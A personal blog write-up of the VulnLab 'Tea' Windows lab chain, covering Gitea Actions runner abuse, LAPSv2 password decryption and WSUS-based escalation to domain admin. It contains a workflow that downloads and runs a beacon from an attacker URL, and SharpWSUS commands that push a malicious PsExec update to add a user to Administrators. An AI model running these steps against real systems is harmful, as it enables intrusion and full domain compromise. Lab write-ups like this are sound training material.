Vulnlab - Tea Writeup

Liam Geyer

๐Ÿ‘พ Machine Overview

This is a writeup of the chain Tea from VulnLab, itโ€™s a medium difficulty Windows chain which featured CI/CD pipeline exploitation, LAPS2, and WSUS.

๐Ÿ” Enumeration

An initial nmap scan of the hosts gave the following results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
nmap -sV -sC -Pn -iL hosts.list -oA initial-scan     
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-07 16:37 EST
Nmap scan report for 10.13.38.53
Host is up (0.030s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-12-07 21:37:37Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tea.vl0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tea.vl0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC.tea.vl
| Not valid before: 2025-12-05T19:11:22
|_Not valid after: 2026-06-06T19:11:22
|_ssl-date: 2025-12-07T21:38:39+00:00; +2s from scanner time.
| rdp-ntlm-info:
| Target_Name: TEA
| NetBIOS_Domain_Name: TEA
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: tea.vl
| DNS_Computer_Name: DC.tea.vl
| DNS_Tree_Name: tea.vl
| Product_Version: 10.0.20348
|_ System_Time: 2025-12-07T21:37:59+00:00
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
| date: 2025-12-07T21:37:59
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 1s, deviation: 0s, median: 0s

Nmap scan report for 10.13.38.54
Host is up (0.032s latency).
Not shown: 993 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3000/tcp open http Golang net/http server
|_http-title: Gitea: Git with a cup of tea
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=42bf0591d389798b; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=xO-EchSPM80IhsNlIx8Q2siViWI6MTc2NTE0MzQ1NzIwMzczMDEwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Sun, 07 Dec 2025 21:37:37 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-auto">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>Gitea: Git with a cup of tea</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL3Nydi50ZWEudmw6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL3Nydi50ZWEudmw6MzAwMC9hc3NldHMvaW1nL2xvZ28ucG5nIiwidHlwZSI6ImltYWdlL3BuZyIsInNpemVzIjo
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=0f6d85eb095b9445; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=D7vFZtG7cUMpfX7LjC7OSMKScks6MTc2NTE0MzQ1ODAzNTQ5NjYwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Sun, 07 Dec 2025 21:37:38 GMT
|_ Content-Length: 0
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=SRV.tea.vl
| Not valid before: 2025-12-05T19:11:22
|_Not valid after: 2026-06-06T19:11:22
| rdp-ntlm-info:
| Target_Name: TEA
| NetBIOS_Domain_Name: TEA
| NetBIOS_Computer_Name: SRV
| DNS_Domain_Name: tea.vl
| DNS_Computer_Name: SRV.tea.vl
| DNS_Tree_Name: tea.vl
| Product_Version: 10.0.20348
|_ System_Time: 2025-12-07T21:37:59+00:00
|_ssl-date: 2025-12-07T21:38:39+00:00; +2s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: mean: 1s, deviation: 0s, median: 1s
| smb2-time:
| date: 2025-12-07T21:38:05
|_ start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 2 IP addresses (2 hosts up) scanned in 77.62 seconds

Weโ€™re presented with a DC, and a Gitea server. Both hosts have remote access ports like RDP accessible as well.

I checked for anonymous SMB/LDAP/RPC access but didnโ€™t have any luck, so I decided to pivot to the Gitea server.

๐Ÿต Gitea Runner Exploitation

Before checking out the site I added both DC.tea.vl and SRV.tea.vl to my /etc/hosts.

Gitea version disclosure

The server proudly proclaims that itโ€™s running version 1.21.1 - I wasnโ€™t able to find any interesting exploits/vulnerabilities for this version.

Gitea open registration

Open registration was enabled, so I used this to register a new user and login. The โ€œExploreโ€ page can be used to check out public repositories, but I didnโ€™t see any content of interest here.

Checking out the Gitea settings, it looks like the SRV host has been setup as a Gitea runner for CI/CD pipelines or โ€œActionsโ€.

Gitea global CI/CD runner

Runners can be used to execute CI/CD pipelines that do things like build releases when code is pushed, or run linting checks. Itโ€™s best practice to have these runners execute code in docker containers, but itโ€™s possible to have code executed on the underlying host.

Here this runner is tagged as Global - this means that it should be available to run code for all repositories. We should be able to add a pipeline to a test repository and have it execute some code.

Enabling repository actions

I created a test repository to start. In the repo settings you have to select Enable Repostiory Actions to have a pipeline run.

Creating a test pipeline

Next, I pushed a test pipeline to .gitea/workflows/pipeline.yml. This workflow should run when any push is made to the repository, and it runs some basic recon commands to determine what user weโ€™re running as, information about the host, etc.

Initial recon pipeline

In the actions tab we can see this execute as thomas.wallace on SRV.tea.vl - this runner is misconfigured to execute things as the logged in user on the actual host and not in a container.

To turn this into a session, I pushed a new pipeline to download and execute a Sliver beacon hosted on a webserver from my attacker VM.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
name: Run Executable
run-name: ${{ gitea.actor }} executing binary

on:
push:
workflow_dispatch:

jobs:
run-exe:
runs-on: windows-latest

steps:

- name: Download executable
shell: powershell
run: |
Invoke-WebRequest -Uri "[your URL]" -OutFile "C:\Windows\Temp\updater.exe"

- name: Run executable
shell: powershell
run: |
Start-Process -FilePath "C:\Windows\Temp\updater.exe" -NoNewWindow -Wait

Revised beacon pipeline

In the actions tab we can see it run after pushing.

Beacon pipeline running

Thereโ€™s an initial callback to my webserver to download the beacon.

Webserver callback

And finally a session as thomas.wallace!

Sliver session as Thomas

I used this to grab the first flag from C:\Users\thomas.wallace\Desktop\flag.txt.

๐Ÿง” Thomas

Now as Thomas I started to perform some recon to see how we can escalate. I started off by checking out our privileges, what was running on the host, running PrivEscCheck, etc.

Notably I saw the presence of C:\WSUS-Updates, indicating that this host is likely a WSUS server. Additionally PrivEscCheck flagged that LAPS was enabled.

whoami /all output

We are in two interesting groups: Developers, and Server Administration. I ran SharpHound through the beacon to get some more info on the domain.

Running SharpHound

Looking in BloodHound thereโ€™s not a lot of interesting privileges. Pathfinding draws a blank - and our interesting groups have no outbound control. This leads me to think that any interesting privileges from these groups may be granted via GPO.

There was a Gitea service account which I roasted - but the password failed to crack with rockyou or some of the SecLists wordlists.

Failed kerberoasting attempt

๐Ÿ’ป LAPS

The Local Administrator Password Solution (LAPS) is a Microsoft tool that can be used to automatically manage the local administrator passwords of hosts in AD. It can be used to randomly generate unique passwords for each host which are rotated, and it ensures only users in authorized groups can access these credentials.

Checking out GPO, there is a LAPS GPO which affects the Servers OU and our SRV host.

LAPS GPO BloodHound

If we pull the content of this policy, we can see that thereโ€™s a SID mapped to the ADPasswordEncrytionPrincipal field.

LAPS GPO content

This is the SID for our Server Administration group that Thomas is in.

Server Admins group in BH with SID

This means that members of the Server Administration group are able to view and decrypt the LAPS password for SRV.

With the release of LAPS version 2, passwords are now stored in the msLAPS-EncryptedPassword and msLAPS-Password properties instead of the old ms-Mcs-AdmPwd field. This means that older tools like LAPSToolKit wonโ€™t work in this environment.

Adam Chester has a blog explaining LAPSv2 and building a tool to decrypt LAPS passwords which we can use to access the local admin password for SRV as Thomas.

Decrypting the LAPS password

I verified the credentials using nxc, and then used them to grab our next flag and drop a beacon as system on SRV.

pwn3d

๐Ÿ†™ WSUS

Windows Server Update Services (WSUS) is used to deploy updates and patches to systems in AD. Now as system on SRV we can use SharpWSUS to enumerate information about the WSUS server.

SharpWSUS enumeration

It looks like this is in fact our WSUS server, and we can see that the domain controller is enrolled as a WSUS client. This means that we can push a malicious update to execute code on that system.

The updates do need to use legitimate signed MSFT binaries, so we can use PsExec64.exe from the SysInternals Suite to add our user Thomas to the domain admins group.

After uploading PsExec to SRV, we can use SharpWSUS to create a malicious patch to do this.

1
.\SharpWSUS.exe create /payload:"C:\PsExec64.exe" /args:"-accepteula -s -d cmd.exe /c net localgroup Administrators thomas.wallace /add" /title:"NewAccountUpdate"

Creating a patch

Weโ€™ll then need to approve the patch with the generated command to target the DC.

1
.\SharpWSUS.exe approve /updateid:[your id] /computername:DC.tea.vl /groupname:"UpdateGroup"

Approving the patch

If you check the status at this point - the update will have not worked. This is due to a problem with SharpWSUS where the update binary ends up being placed in the wrong directory. Thereโ€™s a PR open to fix this - but you can also just manually move the file to the correct location.

I RDPโ€™d into the box and opened the WSUS console to take a closer look.

Broken Update

Here we can see the update failed to deploy because the file failed to download. We can pull event 364 from the event log to see where the file is expected.

1
Get-WinEvent -LogName Application | Where-Object { $_.Id -eq 364 } |fl

Moving the binary

After moving it to the right location, we can retry the download in the WSUS console.

Retrying the download

It takes a couple minutes, but eventually itโ€™ll run and deploy to the DC and promote Thomas to a DA.

Access to DC

DA :)

Yippee!! We can use this to snag the last flag :)

๐Ÿ“– Resources

๐Ÿ”— Hyperlinkโ„น๏ธ Info
SharpWSUSTool for enumerating & interacting with WSUS
techspence/SharpWSUSSharpWSUS fork which fixes a common problem
LRQASharpWSUS blog post
SysInternalsSigned MSFT binaries for use with WSUS patches
My WSUS NotesMy notes on WSUS enum & exploitation
My Gitea Pipeline NotesMy notes on exploiting Gitea pipelines
My LAPS NotesMy notes on LAPS enum & exploitation
  • Title: Vulnlab - Tea Writeup
  • Author: Liam Geyer
  • Created at : 2025-12-14 00:00:00
  • Updated at : 2025-12-14 15:17:56
  • Link: https://lfgberg.org/2025/12/14/vulnlab/tea/
  • License: This work is licensed under CC BY-NC-SA 4.0.